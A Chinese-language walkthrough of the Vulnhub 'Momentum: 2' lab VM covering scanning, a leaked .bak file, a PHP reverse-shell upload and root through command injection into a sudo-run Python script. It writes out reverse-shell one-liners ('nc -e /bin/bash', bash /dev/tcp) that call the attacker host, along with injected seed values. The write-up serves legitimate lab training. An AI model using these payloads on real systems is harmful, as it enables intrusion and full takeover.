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【Vulnhub 靶场】【Momentum: 2】【简单】【20210628】

article 2024/11/15 4:30:12

1、环境介绍

靶场介绍：https://www.vulnhub.com/entry/momentum-2,702/
靶场下载：https://download.vulnhub.com/momentum/Momentum2.ova
靶场难度：简单
发布日期：2021年06月28日
文件大小：698 MB
靶场作者：AL1ENUM
靶场系列：Momentum
靶场描述：

这与 VirtualBox 而不是 VMware 配合使用效果更好

打靶耗时：2+小时，目录扫描是重点，还是要多收集一些。重要的不是打下来，而是从靶场中学到了什么，哪怕是最简单的靶场，依然是好靶场。
打靶关键：

目录扫描，文件后缀是重点
POST 请求构造、BP 爆破
Python 代码阅读，反弹命令构造

2、主机发现与端口扫描

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:cb:7e:f5, IPv4: 192.168.56.3
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    3a:f9:d3:90:a4:64       (Unknown: locally administered)
192.168.56.47   08:00:27:dd:95:ba       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.513 seconds (101.87 hosts/sec). 2 responded

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.56.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-02 23:12 EST
Nmap scan report for 192.168.56.47
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 02:32:8e:5b:27:a8:ea:f2:fe:11:db:2f:57:f4:11:7e (RSA)
|   256 74:35:c8:fb:96:c1:9f:a0:dc:73:6c:cd:83:52:bf:b7 (ECDSA)
|_  256 fc:4a:70:fb:b9:7d:32:89:35:0a:45:3d:d9:8b:c5:95 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Momentum 2 | Index 
MAC Address: 08:00:27:DD:95:BA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.21 ms 192.168.56.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds

3、端口访问

3.1、22端口 - SSH

没有什么有价值的提示

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# ssh 192.168.56.47
The authenticity of host '192.168.56.47 (192.168.56.47)' can·t be established.
ED25519 key fingerprint is SHA256:aVUkKd3or0Ml25d7E6p9nRDjyvlHUFPmrhZnutzxW80.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.47' (ED25519) to the list of known hosts.
root@192.168.56.47·s password: 
Permission denied, please try again.
root@192.168.56.47·s password: 
Permission denied, please try again.
root@192.168.56.47·s password: 
root@192.168.56.47: Permission denied (publickey,password).

3.2、80端口 - Web

根据当前收集信息：上传木马，在 owls 目录中查看

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传在这里插入图片描述

# 基础小字典，初扫摸底
dirb http://192.168.56.47
# 较全面 conda activate py37
dirsearch -u http://192.168.56.47 -t 64 -e *
# 包含静态检查 conda activate py310
cd ~/dirsearch_bypass403 ; python dirsearch.py -u "http://192.168.56.47" -j yes -b yes
# 较全面 Plus conda activate py39
cd ~/soft/dirmap ; python3 dirmap.py -i http://192.168.56.47 -lcf
# 常规文件扫描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf -e -k -r -q
# 可执行文件扫描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
# 压缩包，备份扫描
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp -e -k -r -q

http://192.168.56.47/index.html
http://192.168.56.47/ajax.php
http://192.168.56.47/manual/index.html
http://192.168.56.47/dashboard.html
http://192.168.56.47/css/
http://192.168.56.47/img/
http://192.168.56.47/js/
http://192.168.56.47/manual/
http://192.168.56.47/owls/

在这里插入图片描述

4、尝试上传木马

上传失败，查看uploadFile()方法

在这里插入图片描述

function uploadFile() {
    // 获取文件输入框中的文件列表
    var files = document.getElementById("file").files;

    // 如果文件列表长度大于0
    if(files.length > 0 ){
        // 创建一个FormData对象
        var formData = new FormData();
        // 将文件添加到FormData对象中
        formData.append("file", files[0]);

        // 创建一个XMLHttpRequest对象
        var xhttp = new XMLHttpRequest();

        // 设置请求的方法为POST，并指定ajax文件路径为"ajax.php"
        xhttp.open("POST", "ajax.php", true);

        // 在请求状态改变时调用的回调函数
        xhttp.onreadystatechange = function() {
            // 当请求状态为4（已完成）且状态码为200（请求成功）时执行以下代码
            if (this.readyState == 4 && this.status == 200) {
                // 获取服务器返回的响应数据
                var response = this.responseText;
                // 如果响应数据为1，即上传成功
                if(response == 1){
                    alert("Upload successfully.");
                }else{
                    alert("File not uploaded.");
                }
            }
        };

        // 发送带有数据的请求
        xhttp.send(formData);

    }else{
        alert("Please select a file");
    }

}

4.1、BP 抓包，修改请求，尝试上传（试了很多方法没搞出来）

修改文件后缀：
- 「php」的等效代替「phtml」「phar」「php4」「php5」
- 「jpeg」等
修改 Content-Type：「image/jpeg」、「image/png」、「image/gif」
根据提示：~ Upload Your Research File about Owls
- 猜测可能只是上传「.txt」「.pdf」「.word」这样的文件

在这里插入图片描述

5、重新目录扫描

当前完全没有什么可以继续利用的信息了
图片隐写查询，也没有什么内容，这里就省略了

# php.bak：这个后缀的确是我没想到的。。。查看资料才知道
gobuster dir -u http://192.168.56.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x php.bak -e -k -r -q

http://192.168.56.47/ajax.php.bak

// 如果存在名为admin的cookie，并且其值等于'&G6u@B6uDXMq&Ms'
// 老板让我在 cookie 的末尾再加一个大写字母
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
    // 如果满足条件，将$valid_ext设置为包含"pdf"、"php"和"txt"的数组
    // [+] 新增 if $_POST['secure'] == 'val1d'
    $valid_ext = array("pdf","php","txt");
}
else{
    // 如果不满足条件，将$valid_ext设置为包含"txt"的数组
    $valid_ext = array("txt");
}

// 请记住，成功上传会返回1（这是针对其他代码的备注，不是对当前代码的解析）

6、BP 请求修改

PHP 反弹连接生成：https://forum.ywhack.com/reverse-shell/

在这里插入图片描述

POST /ajax.php HTTP/1.1
Host: 192.168.56.47
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHVU52qr8taGucVMk
Accept: */*
Origin: http://192.168.56.47
Referer: http://192.168.56.47/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Cookie: admin=&G6u@B6uDXMq&Ms§A§

------WebKitFormBoundaryHVU52qr8taGucVMk
Content-Disposition: form-data; name="secure";

val1d
------WebKitFormBoundaryHVU52qr8taGucVMk
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
Content-Type: application/x-php

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.3';  // CHANGE THIS
$port = 7890;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......（php反弹连接木马，此处省略）
------WebKitFormBoundaryHVU52qr8taGucVMk--

在这里插入图片描述

# http://192.168.56.47/owls/php-reverse-shell.php

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# nc -lvnp 7890                            
listening on [any] 7890 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.47] 59988
Linux momentum2 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
 23:43:35 up 38 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null
www-data@momentum2:/$

7、信息收集

发现一个用户：athena

www-data@momentum2:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
athena:x:1000:1000:athena,,,:/home/athena:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

password-reminder.txt（密码提示）
- myvulnerableapp[Asterisk]（myvulnerablelap[星号]）
猜测密码可能：
- myvulnerableapp
- myvulnerableapp[Asterisk]
- myvulnerableapp*
- myvulnerableapp[*]

www-data@momentum2:/$ cd /home/athena
www-data@momentum2:/home/athena$ ls -al
total 32
drwxr-xr-x 3 athena athena 4096 May 27  2021 .
drwxr-xr-x 4 root   root   4096 May 27  2021 ..
-rw-r--r-- 1 athena athena  220 May 25  2021 .bash_logout
-rw-r--r-- 1 athena athena 3526 May 25  2021 .bashrc
drwxr-xr-x 3 athena athena 4096 May 27  2021 .local
-rw-r--r-- 1 athena athena  807 May 25  2021 .profile
-rw-r--r-- 1 athena athena   37 May 27  2021 password-reminder.txt
-rw-r--r-- 1 root   root    241 May 27  2021 user.txt
www-data@momentum2:/home/athena$ cat password-reminder.txt
password : myvulnerableapp[Asterisk]
www-data@momentum2:/home/athena$ cat user.txt
/                         \
~ Momentum 2 ~ User Owned ~
\                         /

---------------------------------------------------
FLAG : 4WpJT9qXoQwFGeoRoFBEJZiM2j2Ad33gWipzZkStMLHw
---------------------------------------------------

8、尝试 SSH 登录

经尝试，密码为：myvulnerableapp*

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# ssh athena@192.168.56.47
athena@192.168.56.47·s password: 
Permission denied, please try again.
athena@192.168.56.47·s password: 
Permission denied, please try again.
athena@192.168.56.47·s password: 
Linux momentum2 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 27 18:12:57 2021 from 10.0.2.15
athena@momentum2:~$

8.1、信息收集

发现可用 SUID：(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
但是文件只读，查看内部文件，看看有没有什么需要改的被调用文件，或者输入是否可以被利用

athena@momentum2:~$ history
    1  history
athena@momentum2:~$ id
uid=1000(athena) gid=1000(athena) groups=1000(athena),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
athena@momentum2:~$ sudo -l
Matching Defaults entries for athena on momentum2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User athena may run the following commands on momentum2:
    (root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
athena@momentum2:~$ ls -al /home/team-tasks/cookie-gen.py
-rw-r--r-- 1 root root 402 May 27  2021 /home/team-tasks/cookie-gen.py

使用了「echo」命令，可能存在「环境变量」提权
「echo」原封不动的执行了用户输入的命令「seed」变量，也可以用于提权。

import random
import os
import subprocess

# 打印提示信息，生成随机 Cookie
# 打印提示信息，出于安全原因我们会记录 Cookie 的种子
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')

# 字符集合，用于生成随机 Cookie 的字符
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

# 用户输入种子
# 设置随机数种子为用户输入的种子
seed = input("Enter the seed : ")
random.seed = seed

# 初始化空的 Cookie 字符串
cookie = ''
# 循环20次，生成20个字符的 Cookie
for c in range(20):
    # 从字符集合中随机选择一个字符，并加入到 Cookie 字符串中
    cookie += random.choice(chars)

print(cookie)

# 构造一个命令 并 执行命令，将种子写入 log.txt 文件中
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

9、尝试提权

9.1、环境变量（失败）

尝试替换「/tmp/echo」内容，依然全部失败
可能 py 脚本里用到的「echo」不是从「/tmp/echo」取的

athena@momentum2:~$ echo '/bin/bash' > /tmp/echo
athena@momentum2:~$ chmod +x /tmp/echo
athena@momentum2:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ export PATH=/tmp:$PATH
athena@momentum2:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ which echo
/tmp/echo
athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
DBcfH#cbhJI@bhbhMbLY
athena@momentum2:~$

9.2、尝试直接输入命令

下面是两条最初尝试的失败命令
报错原因查询：/bin/sh: 1: Syntax error: Bad fd number
- 经过查阅资料得知，有可能是sh 链接到了 dash，而非 bash。

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; & /bin/bash -p ;
fQaVdQdXPKCcBMNTMVM$

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ;bash -i >& /dev/tcp/192.168.56.3/7777 0>&1;
YLPadWXNhPaXCBGOdbdS

/bin/sh: 1: Syntax error: Bad fd number

athena@momentum2:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 May 25  2021 /bin/sh -> dash

下面两条命令执行成功（选其一即可）
- ; nc -e /bin/bash 192.168.56.3 7777;
- ; bash -c 'bash -i >& /dev/tcp/192.168.56.3/7777 0>&1';（本人推荐⭐️⭐️⭐️⭐️⭐️）


athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; nc -e /bin/bash 192.168.56.3 7777;
cFDDdC$QhdISFWMbODEY

athena@momentum2:~$

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : ; bash -c 'bash -i >& /dev/tcp/192.168.56.3/7777 0>&1';
WaIGKVehfQbXXfffOb#L

athena@momentum2:~$

9.3、提权成功，收集 flag

root@momentum2:/home/athena# cd ~
cd ~
root@momentum2:~# ls -al
ls -al
total 32
drwx------  4 root root 4096 May 27  2021 .
drwxr-xr-x 18 root root 4096 May 25  2021 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 May 25  2021 .config
drwxr-xr-x  3 root root 4096 May 27  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root  253 May 27  2021 root.txt
-rw-r--r--  1 root root  227 May 25  2021 .wget-hsts
root@momentum2:~# cat root.txt
cat root.txt
//                    \\
}  Rooted - Momentum 2 {
\\                    //

---------------------------------------------------
FLAG : 4bRQL7jaiFqK45dVjC2XP4TzfKizgGHTMYJfSrPEkezG
---------------------------------------------------

by Alienum with <3

10、番外篇（查询环境变量提权失败的原因）

10.0、结论：

设置前后，并没有改变 Python 脚本的环境变量
Python 应该是重置了环境变量，而不是使用了谁的环境变量
经过定位查询：SUDO 设置了「安全路径（secure_path）」，默认情况下，sudo 命令只能在这些路径下找到可执行文件。

10.1、修改用户环境变量

使用 root 权限，添加查询调用echo位置

root@momentum2:~# echo "print(subprocess.Popen(['which', 'echo'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
echo "print(subprocess.Popen(['which', 'echo'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
root@momentum2:~# echo "print(subprocess.Popen(['echo', '$PATH'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py
echo "print(subprocess.Popen(['echo', '$PATH'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate())" >> /home/team-tasks/cookie-gen.py

环境变量设置前

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
aUNGYNM#GMHV@bYJdLDP
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')

设置环境变量

athena@momentum2:~$ echo '/bin/bash' > /tmp/echo
athena@momentum2:~$ chmod +x /tmp/echo
athena@momentum2:~$ export PATH=/tmp:$PATH
athena@momentum2:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
athena@momentum2:~$ which echo
/tmp/echo

环境变量设置后

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
cZXUabAYGAhdcXPIeRJA
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')

10.2、修改 root 环境变量

Python 脚本的环境变量依然爆出不变。。。

root@momentum2:~# export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
root@momentum2:~# echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

athena@momentum2:~$ sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : 1
AZdfEXdJddbM@MDQSOD$
(b'/usr/bin/echo\n', b'')
(b'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n', b'')

10.3、SUDO 文件查看

的确都显示「secure_path」，是我以前没有注意，没有区分「SUID提权」和「SUDO提权」

root@momentum2:~# cat /etc/sudoers
cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
athena ALL=NOPASSWD:/usr/bin/python3 /home/team-tasks/cookie-gen.py
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

athena@momentum2:~$ sudo -l
Matching Defaults entries for athena on momentum2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User athena may run the following commands on momentum2:
    (root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py